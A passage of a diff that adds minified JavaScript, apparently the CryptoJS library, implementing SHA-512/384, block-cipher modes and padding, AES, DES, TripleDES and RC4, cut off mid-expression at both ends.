< D >>> 0 ? 1 : 0), v = e.low = v + A, e.high = u + E + (v >>> 0 < A >>> 0 ? 1 : 0), z = f.low = z + J, f.high = w + I + (z >>> 0 < J >>> 0 ? 1 : 0), y = h.low = y + N, h.high = x + L + (y >>> 0 < N >>> 0 ? 1 : 0), F = g.low = F + s, g.high = n + K + (F >>> 0 < s >>> 0 ? 1 : 0), j = i.low = j + S, i.high = G + P + (j >>> 0 < S >>> 0 ? 1 : 0), o = k.low = o + M, k.high = l + U + (o >>> 0 < M >>> 0 ? 1 : 0), H = m.low = H + bc, m.high = q + V + (H >>> 0 < bc >>> 0 ? 1 : 0) + }, _doFinalize: function () { + var a = this._data, b = a.words, c = 8 * this._nDataBytes, d = 8 * a.sigBytes; + b[d >>> 5] |= 128 << 24 - d % 32, b[(d + 128 >>> 10 << 5) + 30] = Math.floor(c / 4294967296), b[(d + 128 >>> 10 << 5) + 31] = c, a.sigBytes = 4 * b.length, this._process(); + var e = this._hash.toX32(); + return e + }, clone: function () { + var a = bf.clone.call(this); + return a._hash = this._hash.clone(), a + }, blockSize: 32 + }); + bb.SHA512 = bf._createHelper(bi), bb.HmacSHA512 = bf._createHmacHelper(bi) + }(), function () { + var b = B, c = b.x64, d = c.Word, e = c.WordArray, f = b.algo, h = f.SHA512, g = f.SHA384 = h.extend({ + _doReset: function () { + this._hash = new e.init([new d.init(3418070365, 3238371032), new d.init(1654270250, 914150663), new d.init(2438529370, 812702999), new d.init(355462360, 4144912697), new d.init(1731405415, 4290775857), new d.init(2394180231, 1750603025), new d.init(3675008525, 1694076839), new d.init(1203062813, 3204075428)]) + }, _doFinalize: function () { + var a = h._doFinalize.call(this); + return a.sigBytes -= 16, a + } + }); + b.SHA384 = h._createHelper(g), b.HmacSHA384 = h._createHmacHelper(g) + }(), B.lib.Cipher || function (i) { + var k = B, m = k.lib, p = m.Base, r = m.WordArray, u = m.BufferedBlockAlgorithm, v = k.enc, w = (v.Utf8, v.Base64), z = k.algo, x = z.EvpKDF, y = m.Cipher = u.extend({ + cfg: p.extend(), createEncryptor: function (a, b) { + return this.create(this._ENC_XFORM_MODE, a, b) + }, createDecryptor: function (a, b) { + return this.create(this._DEC_XFORM_MODE, a, b) + }, init: function (a, b, c) { + this.cfg = this.cfg.extend(c), this._xformMode = a, this._key = b, this.reset() + }, reset: function () { + u.reset.call(this), this._doReset() + }, process: function (a) { + return this._append(a), this._process() + }, finalize: function (a) { + a && this._append(a); + var b = this._doFinalize(); + return b + }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { + function e(a) { + return "string" == typeof a ? A : C + } + + return function (d) { + return { + encrypt: function (a, b, c) { + return e(b).encrypt(d, a, b, c) + }, decrypt: function (a, b, c) { + return e(b).decrypt(d, a, b, c) + } + } + } + }() + }), n = (m.StreamCipher = y.extend({ + _doFinalize: function () { + var a = this._process(!0); + return a + }, blockSize: 1 + }), k.mode = {}), F = m.BlockCipherMode = p.extend({ + createEncryptor: function (a, b) { + return this.Encryptor.create(a, b) + }, createDecryptor: function (a, b) { + return this.Decryptor.create(a, b) + }, init: function (a, b) { + this._cipher = a, this._iv = b + } + }), G = n.CBC = function () { + function h(a, b, c) { + var d = this._iv; + if (d) { + var e = d; + this._iv = i + } else var e = this._prevBlock; + for (var f = 0; f < c; f++) a[b + f] ^= e[f] + } + + var g = F.extend(); + return g.Encryptor = g.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize; + h.call(this, a, b, d), c.encryptBlock(a, b), this._prevBlock = a.slice(b, b + d) + } + }), g.Decryptor = g.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = a.slice(b, b + d); + c.decryptBlock(a, b), h.call(this, a, b, d), this._prevBlock = e + } + }), g + }(), j = k.pad = {}, l = j.Pkcs7 = { + pad: function (a, b) { + for (var c = 4 * b, d = c - a.sigBytes % c, e = d << 24 | d << 16 | d << 8 | d, f = [], h = 0; h < d; h += 4) f.push(e); + var g = r.create(f, d); + a.concat(g) + }, unpad: function (a) { + var b = 255 & a.words[a.sigBytes - 1 >>> 2]; + a.sigBytes -= b + } + }, o = (m.BlockCipher = y.extend({ + cfg: y.cfg.extend({mode: G, padding: l}), reset: function () { + y.reset.call(this); + var a = this.cfg, b = a.iv, c = a.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var d = c.createEncryptor; else { + var d = c.createDecryptor; + this._minBufferSize = 1 + } + this._mode && this._mode.__creator == d ? this._mode.init(this, b && b.words) : (this._mode = d.call(c, this, b && b.words), this._mode.__creator = d) + }, _doProcessBlock: function (a, b) { + this._mode.processBlock(a, b) + }, _doFinalize: function () { + var a = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + a.pad(this._data, this.blockSize); + var b = this._process(!0) + } else { + var b = this._process(!0); + a.unpad(b) + } + return b + }, blockSize: 4 + }), m.CipherParams = p.extend({ + init: function (a) { + this.mixIn(a) + }, toString: function (a) { + return (a || this.formatter).stringify(this) + } + })), q = k.format = {}, H = q.OpenSSL = { + stringify: function (a) { + var b = a.ciphertext, c = a.salt; + if (c) var d = r.create([1398893684, 1701076831]).concat(c).concat(b); else var d = b; + return d.toString(w) + }, parse: function (a) { + var b = w.parse(a), c = b.words; + if (1398893684 == c[0] && 1701076831 == c[1]) { + var d = r.create(c.slice(2, 4)); + c.splice(0, 4), b.sigBytes -= 16 + } + return o.create({ciphertext: b, salt: d}) + } + }, C = m.SerializableCipher = p.extend({ + cfg: p.extend({format: H}), encrypt: function (a, b, c, d) { + d = this.cfg.extend(d); + var e = a.createEncryptor(c, d), f = e.finalize(b), h = e.cfg; + return o.create({ciphertext: f, key: c, iv: h.iv, algorithm: a, mode: h.mode, padding: h.padding, blockSize: a.blockSize, formatter: d.format}) + }, decrypt: function (a, b, c, d) { + d = this.cfg.extend(d), b = this._parse(b, d.format); + var e = a.createDecryptor(c, d).finalize(b.ciphertext); + return e + }, _parse: function (a, b) { + return "string" == typeof a ? b.parse(a, this) : a + } + }), D = k.kdf = {}, E = D.OpenSSL = { + execute: function (a, b, c, d) { + d || (d = r.random(8)); + var e = x.create({keySize: b + c}).compute(a, d), f = r.create(e.words.slice(b), 4 * c); + return e.sigBytes = 4 * b, o.create({key: e, iv: f, salt: d}) + } + }, A = m.PasswordBasedCipher = C.extend({ + cfg: C.cfg.extend({kdf: E}), encrypt: function (a, b, c, d) { + d = this.cfg.extend(d); + var e = d.kdf.execute(c, a.keySize, a.ivSize); + d.iv = e.iv; + var f = C.encrypt.call(this, a, b, e.key, d); + return f.mixIn(e), f + }, decrypt: function (a, b, c, d) { + d = this.cfg.extend(d), b = this._parse(b, d.format); + var e = d.kdf.execute(c, a.keySize, a.ivSize, b.salt); + d.iv = e.iv; + var f = C.decrypt.call(this, a, b, e.key, d); + return f + } + }) + }(), B.mode.CFB = function () { + function g(a, b, c, d) { + var e = this._iv; + if (e) { + var f = e.slice(0); + this._iv = void 0 + } else var f = this._prevBlock; + d.encryptBlock(f, 0); + for (var h = 0; h < c; h++) a[b + h] ^= f[h] + } + + var i = B.lib.BlockCipherMode.extend(); + return i.Encryptor = i.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize; + g.call(this, a, b, d, c), this._prevBlock = a.slice(b, b + d) + } + }), i.Decryptor = i.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = a.slice(b, b + d); + g.call(this, a, b, d, c), this._prevBlock = e + } + }), i + }(), B.mode.ECB = function () { + var c = B.lib.BlockCipherMode.extend(); + return c.Encryptor = c.extend({ + processBlock: function (a, b) { + this._cipher.encryptBlock(a, b) + } + }), c.Decryptor = c.extend({ + processBlock: function (a, b) { + this._cipher.decryptBlock(a, b) + } + }), c + }(), B.pad.AnsiX923 = { + pad: function (a, b) { + var c = a.sigBytes, d = 4 * b, e = d - c % d, f = c + e - 1; + a.clamp(), a.words[f >>> 2] |= e << 24 - f % 4 * 8, a.sigBytes += e + }, unpad: function (a) { + var b = 255 & a.words[a.sigBytes - 1 >>> 2]; + a.sigBytes -= b + } + }, B.pad.Iso10126 = { + pad: function (a, b) { + var c = 4 * b, d = c - a.sigBytes % c; + a.concat(B.lib.WordArray.random(d - 1)).concat(B.lib.WordArray.create([d << 24], 1)) + }, unpad: function (a) { + var b = 255 & a.words[a.sigBytes - 1 >>> 2]; + a.sigBytes -= b + } + }, B.pad.Iso97971 = { + pad: function (a, b) { + a.concat(B.lib.WordArray.create([2147483648], 1)), B.pad.ZeroPadding.pad(a, b) + }, unpad: function (a) { + B.pad.ZeroPadding.unpad(a), a.sigBytes-- + } + }, B.mode.OFB = function () { + var g = B.lib.BlockCipherMode.extend(), i = g.Encryptor = g.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = this._iv, f = this._keystream; + e && (f = this._keystream = e.slice(0), this._iv = void 0), c.encryptBlock(f, 0); + for (var h = 0; h < d; h++) a[b + h] ^= f[h] + } + }); + return g.Decryptor = i, g + }(), B.pad.NoPadding = { + pad: function () { + }, unpad: function () { + } + }, function (c) { + var d = B, e = d.lib, f = e.CipherParams, h = d.enc, g = h.Hex, i = d.format; + i.Hex = { + stringify: function (a) { + return a.ciphertext.toString(g) + }, parse: function (a) { + var b = g.parse(a); + return f.create({ciphertext: b}) + } + } + }(), function () { + var n = B, F = n.lib, G = F.BlockCipher, j = n.algo, l = [], o = [], q = [], H = [], C = [], D = [], E = [], A = [], I = [], J = []; + !function () { + for (var a = [], b = 0; b < 256; b++) b < 128 ? a[b] = b << 1 : a[b] = b << 1 ^ 283; + for (var c = 0, d = 0, b = 0; b < 256; b++) { + var e = d ^ d << 1 ^ d << 2 ^ d << 3 ^ d << 4; + e = e >>> 8 ^ 255 & e ^ 99, l[c] = e, o[e] = c; + var f = a[c], h = a[f], g = a[h], i = 257 * a[e] ^ 16843008 * e; + q[c] = i << 24 | i >>> 8, H[c] = i << 16 | i >>> 16, C[c] = i << 8 | i >>> 24, D[c] = i; + var i = 16843009 * g ^ 65537 * h ^ 257 * f ^ 16843008 * c; + E[e] = i << 24 | i >>> 8, A[e] = i << 16 | i >>> 16, I[e] = i << 8 | i >>> 24, J[e] = i, c ? (c = f ^ a[a[a[g ^ f]]], d ^= a[a[d]]) : c = d = 1 + } + }(); + var L = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], N = j.AES = G.extend({ + _doReset: function () { + if (!this._nRounds || this._keyPriorReset !== this._key) { + for (var a = this._keyPriorReset = this._key, b = a.words, c = a.sigBytes / 4, d = this._nRounds = c + 6, e = 4 * (d + 1), f = this._keySchedule = [], h = 0; h < e; h++) if (h < c) f[h] = b[h]; else { + var g = f[h - 1]; + h % c ? c > 6 && h % c == 4 && (g = l[g >>> 24] << 24 | l[g >>> 16 & 255] << 16 | l[g >>> 8 & 255] << 8 | l[255 & g]) : (g = g << 8 | g >>> 24, g = l[g >>> 24] << 24 | l[g >>> 16 & 255] << 16 | l[g >>> 8 & 255] << 8 | l[255 & g], g ^= L[h / c | 0] << 24), f[h] = f[h - c] ^ g + } + for (var i = this._invKeySchedule = [], k = 0; k < e; k++) { + var h = e - k; + if (k % 4) var g = f[h]; else var g = f[h - 4]; + k < 4 || h <= 4 ? i[k] = g : i[k] = E[l[g >>> 24]] ^ A[l[g >>> 16 & 255]] ^ I[l[g >>> 8 & 255]] ^ J[l[255 & g]] + } + } + }, encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, q, H, C, D, l) + }, decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3], a[b + 3] = c, this._doCryptBlock(a, b, this._invKeySchedule, E, A, I, J, o); + var c = a[b + 1]; + a[b + 1] = a[b + 3], a[b + 3] = c + }, _doCryptBlock: function (a, b, c, d, e, f, h, g) { + for (var i = this._nRounds, k = a[b] ^ c[0], m = a[b + 1] ^ c[1], p = a[b + 2] ^ c[2], r = a[b + 3] ^ c[3], u = 4, v = 1; v < i; v++) { + var w = d[k >>> 24] ^ e[m >>> 16 & 255] ^ f[p >>> 8 & 255] ^ h[255 & r] ^ c[u++], z = d[m >>> 24] ^ e[p >>> 16 & 255] ^ f[r >>> 8 & 255] ^ h[255 & k] ^ c[u++], x = d[p >>> 24] ^ e[r >>> 16 & 255] ^ f[k >>> 8 & 255] ^ h[255 & m] ^ c[u++], y = d[r >>> 24] ^ e[k >>> 16 & 255] ^ f[m >>> 8 & 255] ^ h[255 & p] ^ c[u++]; + k = w, m = z, p = x, r = y + } + var w = (g[k >>> 24] << 24 | g[m >>> 16 & 255] << 16 | g[p >>> 8 & 255] << 8 | g[255 & r]) ^ c[u++], z = (g[m >>> 24] << 24 | g[p >>> 16 & 255] << 16 | g[r >>> 8 & 255] << 8 | g[255 & k]) ^ c[u++], x = (g[p >>> 24] << 24 | g[r >>> 16 & 255] << 16 | g[k >>> 8 & 255] << 8 | g[255 & m]) ^ c[u++], y = (g[r >>> 24] << 24 | g[k >>> 16 & 255] << 16 | g[m >>> 8 & 255] << 8 | g[255 & p]) ^ c[u++]; + a[b] = w, a[b + 1] = z, a[b + 2] = x, a[b + 3] = y + }, keySize: 8 + }); + n.AES = G._createHelper(N) + }(), function () { + function m(a, b) { + var c = (this._lBlock >>> a ^ this._rBlock) & b; + this._rBlock ^= c, this._lBlock ^= c << a + } + + function p(a, b) { + var c = (this._rBlock >>> a ^ this._lBlock) & b; + this._lBlock ^= c, this._rBlock ^= c << a + } + + var r = B, u = r.lib, v = u.WordArray, w = u.BlockCipher, z = r.algo, x = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], y = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], n = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], F = [{ + 0: 8421888, + 268435456: 32768, + 536870912: 8421378, + 805306368: 2, + 1073741824: 512, + 1342177280: 8421890, + 1610612736: 8389122, + 1879048192: 8388608, + 2147483648: 514, + 2415919104: 8389120, + 2684354560: 33280, + 2952790016: 8421376, + 3221225472: 32770, + 3489660928: 8388610, + 3758096384: 0, + 4026531840: 33282, + 134217728: 0, + 402653184: 8421890, + 671088640: 33282, + 939524096: 32768, + 1207959552: 8421888, + 1476395008: 512, + 1744830464: 8421378, + 2013265920: 2, + 2281701376: 8389120, + 2550136832: 33280, + 2818572288: 8421376, + 3087007744: 8389122, + 3355443200: 8388610, + 3623878656: 32770, + 3892314112: 514, + 4160749568: 8388608, + 1: 32768, + 268435457: 2, + 536870913: 8421888, + 805306369: 8388608, + 1073741825: 8421378, + 1342177281: 33280, + 1610612737: 512, + 1879048193: 8389122, + 2147483649: 8421890, + 2415919105: 8421376, + 2684354561: 8388610, + 2952790017: 33282, + 3221225473: 514, + 3489660929: 8389120, + 3758096385: 32770, + 4026531841: 0, + 134217729: 8421890, + 402653185: 8421376, + 671088641: 8388608, + 939524097: 512, + 1207959553: 32768, + 1476395009: 8388610, + 1744830465: 2, + 2013265921: 33282, + 2281701377: 32770, + 2550136833: 8389122, + 2818572289: 514, + 3087007745: 8421888, + 3355443201: 8389120, + 3623878657: 0, + 3892314113: 33280, + 4160749569: 8421378 + }, { + 0: 1074282512, + 16777216: 16384, + 33554432: 524288, + 50331648: 1074266128, + 67108864: 1073741840, + 83886080: 1074282496, + 100663296: 1073758208, + 117440512: 16, + 134217728: 540672, + 150994944: 1073758224, + 167772160: 1073741824, + 184549376: 540688, + 201326592: 524304, + 218103808: 0, + 234881024: 16400, + 251658240: 1074266112, + 8388608: 1073758208, + 25165824: 540688, + 41943040: 16, + 58720256: 1073758224, + 75497472: 1074282512, + 92274688: 1073741824, + 109051904: 524288, + 125829120: 1074266128, + 142606336: 524304, + 159383552: 0, + 176160768: 16384, + 192937984: 1074266112, + 209715200: 1073741840, + 226492416: 540672, + 243269632: 1074282496, + 260046848: 16400, + 268435456: 0, + 285212672: 1074266128, + 301989888: 1073758224, + 318767104: 1074282496, + 335544320: 1074266112, + 352321536: 16, + 369098752: 540688, + 385875968: 16384, + 402653184: 16400, + 419430400: 524288, + 436207616: 524304, + 452984832: 1073741840, + 469762048: 540672, + 486539264: 1073758208, + 503316480: 1073741824, + 520093696: 1074282512, + 276824064: 540688, + 293601280: 524288, + 310378496: 1074266112, + 327155712: 16384, + 343932928: 1073758208, + 360710144: 1074282512, + 377487360: 16, + 394264576: 1073741824, + 411041792: 1074282496, + 427819008: 1073741840, + 444596224: 1073758224, + 461373440: 524304, + 478150656: 0, + 494927872: 16400, + 511705088: 1074266128, + 528482304: 540672 + }, { + 0: 260, + 1048576: 0, + 2097152: 67109120, + 3145728: 65796, + 4194304: 65540, + 5242880: 67108868, + 6291456: 67174660, + 7340032: 67174400, + 8388608: 67108864, + 9437184: 67174656, + 10485760: 65792, + 11534336: 67174404, + 12582912: 67109124, + 13631488: 65536, + 14680064: 4, + 15728640: 256, + 524288: 67174656, + 1572864: 67174404, + 2621440: 0, + 3670016: 67109120, + 4718592: 67108868, + 5767168: 65536, + 6815744: 65540, + 7864320: 260, + 8912896: 4, + 9961472: 256, + 11010048: 67174400, + 12058624: 65796, + 13107200: 65792, + 14155776: 67109124, + 15204352: 67174660, + 16252928: 67108864, + 16777216: 67174656, + 17825792: 65540, + 18874368: 65536, + 19922944: 67109120, + 20971520: 256, + 22020096: 67174660, + 23068672: 67108868, + 24117248: 0, + 25165824: 67109124, + 26214400: 67108864, + 27262976: 4, + 28311552: 65792, + 29360128: 67174400, + 30408704: 260, + 31457280: 65796, + 32505856: 67174404, + 17301504: 67108864, + 18350080: 260, + 19398656: 67174656, + 20447232: 0, + 21495808: 65540, + 22544384: 67109120, + 23592960: 256, + 24641536: 67174404, + 25690112: 65536, + 26738688: 67174660, + 27787264: 65796, + 28835840: 67108868, + 29884416: 67109124, + 30932992: 67174400, + 31981568: 4, + 33030144: 65792 + }, { + 0: 2151682048, + 65536: 2147487808, + 131072: 4198464, + 196608: 2151677952, + 262144: 0, + 327680: 4198400, + 393216: 2147483712, + 458752: 4194368, + 524288: 2147483648, + 589824: 4194304, + 655360: 64, + 720896: 2147487744, + 786432: 2151678016, + 851968: 4160, + 917504: 4096, + 983040: 2151682112, + 32768: 2147487808, + 98304: 64, + 163840: 2151678016, + 229376: 2147487744, + 294912: 4198400, + 360448: 2151682112, + 425984: 0, + 491520: 2151677952, + 557056: 4096, + 622592: 2151682048, + 688128: 4194304, + 753664: 4160, + 819200: 2147483648, + 884736: 4194368, + 950272: 4198464, + 1015808: 2147483712, + 1048576: 4194368, + 1114112: 4198400, + 1179648: 2147483712, + 1245184: 0, + 1310720: 4160, + 1376256: 2151678016, + 1441792: 2151682048, + 1507328: 2147487808, + 1572864: 2151682112, + 1638400: 2147483648, + 1703936: 2151677952, + 1769472: 4198464, + 1835008: 2147487744, + 1900544: 4194304, + 1966080: 64, + 2031616: 4096, + 1081344: 2151677952, + 1146880: 2151682112, + 1212416: 0, + 1277952: 4198400, + 1343488: 4194368, + 1409024: 2147483648, + 1474560: 2147487808, + 1540096: 64, + 1605632: 2147483712, + 1671168: 4096, + 1736704: 2147487744, + 1802240: 2151678016, + 1867776: 4160, + 1933312: 2151682048, + 1998848: 4194304, + 2064384: 4198464 + }, { + 0: 128, + 4096: 17039360, + 8192: 262144, + 12288: 536870912, + 16384: 537133184, + 20480: 16777344, + 24576: 553648256, + 28672: 262272, + 32768: 16777216, + 36864: 537133056, + 40960: 536871040, + 45056: 553910400, + 49152: 553910272, + 53248: 0, + 57344: 17039488, + 61440: 553648128, + 2048: 17039488, + 6144: 553648256, + 10240: 128, + 14336: 17039360, + 18432: 262144, + 22528: 537133184, + 26624: 553910272, + 30720: 536870912, + 34816: 537133056, + 38912: 0, + 43008: 553910400, + 47104: 16777344, + 51200: 536871040, + 55296: 553648128, + 59392: 16777216, + 63488: 262272, + 65536: 262144, + 69632: 128, + 73728: 536870912, + 77824: 553648256, + 81920: 16777344, + 86016: 553910272, + 90112: 537133184, + 94208: 16777216, + 98304: 553910400, + 102400: 553648128, + 106496: 17039360, + 110592: 537133056, + 114688: 262272, + 118784: 536871040, + 122880: 0, + 126976: 17039488, + 67584: 553648256, + 71680: 16777216, + 75776: 17039360, + 79872: 537133184, + 83968: 536870912, + 88064: 17039488, + 92160: 128, + 96256: 553910272, + 100352: 262272, + 104448: 553910400, + 108544: 0, + 112640: 553648128, + 116736: 16777344, + 120832: 262144, + 124928: 537133056, + 129024: 536871040 + }, { + 0: 268435464, + 256: 8192, + 512: 270532608, + 768: 270540808, + 1024: 268443648, + 1280: 2097152, + 1536: 2097160, + 1792: 268435456, + 2048: 0, + 2304: 268443656, + 2560: 2105344, + 2816: 8, + 3072: 270532616, + 3328: 2105352, + 3584: 8200, + 3840: 270540800, + 128: 270532608, + 384: 270540808, + 640: 8, + 896: 2097152, + 1152: 2105352, + 1408: 268435464, + 1664: 268443648, + 1920: 8200, + 2176: 2097160, + 2432: 8192, + 2688: 268443656, + 2944: 270532616, + 3200: 0, + 3456: 270540800, + 3712: 2105344, + 3968: 268435456, + 4096: 268443648, + 4352: 270532616, + 4608: 270540808, + 4864: 8200, + 5120: 2097152, + 5376: 268435456, + 5632: 268435464, + 5888: 2105344, + 6144: 2105352, + 6400: 0, + 6656: 8, + 6912: 270532608, + 7168: 8192, + 7424: 268443656, + 7680: 270540800, + 7936: 2097160, + 4224: 8, + 4480: 2105344, + 4736: 2097152, + 4992: 268435464, + 5248: 268443648, + 5504: 8200, + 5760: 270540808, + 6016: 270532608, + 6272: 270540800, + 6528: 270532616, + 6784: 8192, + 7040: 2105352, + 7296: 2097160, + 7552: 0, + 7808: 268435456, + 8064: 268443656 + }, { + 0: 1048576, + 16: 33555457, + 32: 1024, + 48: 1049601, + 64: 34604033, + 80: 0, + 96: 1, + 112: 34603009, + 128: 33555456, + 144: 1048577, + 160: 33554433, + 176: 34604032, + 192: 34603008, + 208: 1025, + 224: 1049600, + 240: 33554432, + 8: 34603009, + 24: 0, + 40: 33555457, + 56: 34604032, + 72: 1048576, + 88: 33554433, + 104: 33554432, + 120: 1025, + 136: 1049601, + 152: 33555456, + 168: 34603008, + 184: 1048577, + 200: 1024, + 216: 34604033, + 232: 1, + 248: 1049600, + 256: 33554432, + 272: 1048576, + 288: 33555457, + 304: 34603009, + 320: 1048577, + 336: 33555456, + 352: 34604032, + 368: 1049601, + 384: 1025, + 400: 34604033, + 416: 1049600, + 432: 1, + 448: 0, + 464: 34603008, + 480: 33554433, + 496: 1024, + 264: 1049600, + 280: 33555457, + 296: 34603009, + 312: 1, + 328: 33554432, + 344: 1048576, + 360: 1025, + 376: 34604032, + 392: 33554433, + 408: 34603008, + 424: 0, + 440: 34604033, + 456: 1049601, + 472: 1024, + 488: 33555456, + 504: 1048577 + }, { + 0: 134219808, + 1: 131072, + 2: 134217728, + 3: 32, + 4: 131104, + 5: 134350880, + 6: 134350848, + 7: 2048, + 8: 134348800, + 9: 134219776, + 10: 133120, + 11: 134348832, + 12: 2080, + 13: 0, + 14: 134217760, + 15: 133152, + 2147483648: 2048, + 2147483649: 134350880, + 2147483650: 134219808, + 2147483651: 134217728, + 2147483652: 134348800, + 2147483653: 133120, + 2147483654: 133152, + 2147483655: 32, + 2147483656: 134217760, + 2147483657: 2080, + 2147483658: 131104, + 2147483659: 134350848, + 2147483660: 0, + 2147483661: 134348832, + 2147483662: 134219776, + 2147483663: 131072, + 16: 133152, + 17: 134350848, + 18: 32, + 19: 2048, + 20: 134219776, + 21: 134217760, + 22: 134348832, + 23: 131072, + 24: 0, + 25: 131104, + 26: 134348800, + 27: 134219808, + 28: 134350880, + 29: 133120, + 30: 2080, + 31: 134217728, + 2147483664: 131072, + 2147483665: 2048, + 2147483666: 134348832, + 2147483667: 133152, + 2147483668: 32, + 2147483669: 134348800, + 2147483670: 134217728, + 2147483671: 134219808, + 2147483672: 134350880, + 2147483673: 134217760, + 2147483674: 134219776, + 2147483675: 0, + 2147483676: 133120, + 2147483677: 2080, + 2147483678: 131104, + 2147483679: 134350848 + }], G = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], j = z.DES = w.extend({ + _doReset: function () { + for (var a = this._key, b = a.words, c = [], d = 0; d < 56; d++) { + var e = x[d] - 1; + c[d] = b[e >>> 5] >>> 31 - e % 32 & 1 + } + for (var f = this._subKeys = [], h = 0; h < 16; h++) { + for (var g = f[h] = [], i = n[h], d = 0; d < 24; d++) g[d / 6 | 0] |= c[(y[d] - 1 + i) % 28] << 31 - d % 6, g[4 + (d / 6 | 0)] |= c[28 + (y[d + 24] - 1 + i) % 28] << 31 - d % 6; + g[0] = g[0] << 1 | g[0] >>> 31; + for (var d = 1; d < 7; d++) g[d] = g[d] >>> 4 * (d - 1) + 3; + g[7] = g[7] << 5 | g[7] >>> 27 + } + for (var k = this._invSubKeys = [], d = 0; d < 16; d++) k[d] = f[15 - d] + }, encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._subKeys) + }, decryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._invSubKeys) + }, _doCryptBlock: function (a, b, c) { + this._lBlock = a[b], this._rBlock = a[b + 1], m.call(this, 4, 252645135), m.call(this, 16, 65535), p.call(this, 2, 858993459), p.call(this, 8, 16711935), m.call(this, 1, 1431655765); + for (var d = 0; d < 16; d++) { + for (var e = c[d], f = this._lBlock, h = this._rBlock, g = 0, i = 0; i < 8; i++) g |= F[i][((h ^ e[i]) & G[i]) >>> 0]; + this._lBlock = h, this._rBlock = f ^ g + } + var k = this._lBlock; + this._lBlock = this._rBlock, this._rBlock = k, m.call(this, 1, 1431655765), p.call(this, 8, 16711935), p.call(this, 2, 858993459), m.call(this, 16, 65535), m.call(this, 4, 252645135), a[b] = this._lBlock, a[b + 1] = this._rBlock + }, keySize: 2, ivSize: 2, blockSize: 2 + }); + r.DES = w._createHelper(j); + var l = z.TripleDES = w.extend({ + _doReset: function () { + var a = this._key, b = a.words; + this._des1 = j.createEncryptor(v.create(b.slice(0, 2))), this._des2 = j.createEncryptor(v.create(b.slice(2, 4))), this._des3 = j.createEncryptor(v.create(b.slice(4, 6))) + }, encryptBlock: function (a, b) { + this._des1.encryptBlock(a, b), this._des2.decryptBlock(a, b), this._des3.encryptBlock(a, b) + }, decryptBlock: function (a, b) { + this._des3.decryptBlock(a, b), this._des2.encryptBlock(a, b), this._des1.decryptBlock(a, b) + }, keySize: 6, ivSize: 2, blockSize: 2 + }); + r.TripleDES = w._createHelper(l) + }(), function () { + function k() { + for (var a = this._S, b = this._i, c = this._j, d = 0, e = 0; e < 4; e++) { + b = (b + 1) % 256, c = (c + a[b]) % 256; + var f = a[b]; + a[b] = a[c], a[c] = f, d |= a[(a[b] + a[c]) % 256] << 24 - 8 * e + } + return this._i = b, this._j = c, d + } + + var m = B, p = m.lib, r = p.StreamCipher, u = m.algo, v = u.RC4 = r.extend({ + _doReset: function () { + for (var a = this._key, b = a.words, c = a.sigBytes, d = this._S = [], e = 0; e < 256; e++) d[e] = e; + for (var e = 0, f = 0; e < 256; e++) { + var h = e % c, g = b[h >>> 2] >>> 24 - h % 4 * 8 & 255; + f = (f + d[e] + g) % 256; + var i = d[e]; + d[e] = d[f], d[f] = i + } + this._i = this._j = 0 + }, _doProcessBlock: function (a, b) { + a[b] ^= k.call(this) + }, keySize: 8, ivSize: 0 + }); + m.RC4 = r._createHelper(v); + var w = u.RC4Drop = v.extend({ + cfg: v.cfg.extend({drop: 192}), _doReset: function () { + v._doReset.call(this); + for (var a = this.cfg.drop; a > 0; a--) k.call(this) + } + }); + m.RC4Drop = r._createHelper(w) + }(), B.mode.CTRGladman = function () { + function i(a) { + if (255 === (a >> 24 & 255)) { + var b = a >> 16 & 255, c = a >> 8 & 255, d = 255 & a; + 255 === b ? (b = 0, 255 === c ? (c = 0, 255 === d ? d = 0 : ++d) : ++c) : ++b, a = 0, a += b << 16, a += c << 8, a += d + } else a += 1 << 24; + return a + } + + function k(a) { + return 0 === (a[0] = i(a[0])) && (a[1] = i(a[1])), a + } + + var m = B.lib.BlockCipherMode.extend(), p = m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = this._iv, f = this._counter; + e && (f = this._counter = e.slice(0), this._iv = void 0), k(f); + var h = f.slice(0); + c.encryptBlock(h, 0); + for (var g = 0; g < d; g++) a[b + g] ^= h[g] + } + }); + return m.Decryptor = p, m + }(), function () { + function r() { + for (var a = this._X, b = this._C, c = 0; c < 8; c++) y[c] = b[c]; + b[0] = b[0] + 1295307597 + this._b | 0, b[1] = b[1] + 3545052371 + (b[0] >>> 0 < y[0] >>> 0 ? 1 : 0) | 0, b[2] = b[2] + 886263092 + (b[1] >>> 0 < y[1] >>> 0 ? 1 : 0) | 0, b[3] = b[3] + 1295307597 + (b[2] >>> 0 < y[2] >>> 0 ? 1 : 0) | 0, b[4] = b[4] + 3545052371 + (b[3] >>> 0 < y[3] >>> 0 ? 1 : 0) | 0, b[5] = b[5] + 886263092 + (b[4] >>> 0 < y[4] >>> 0 ? 1 : 0) | 0, b[6] = b[6] + 1295307597 + (b[5] >>> 0 < y[5] >>> 0 ? 1 : 0) | 0, b[7] = b[7] + 3545052371 + (b[6] 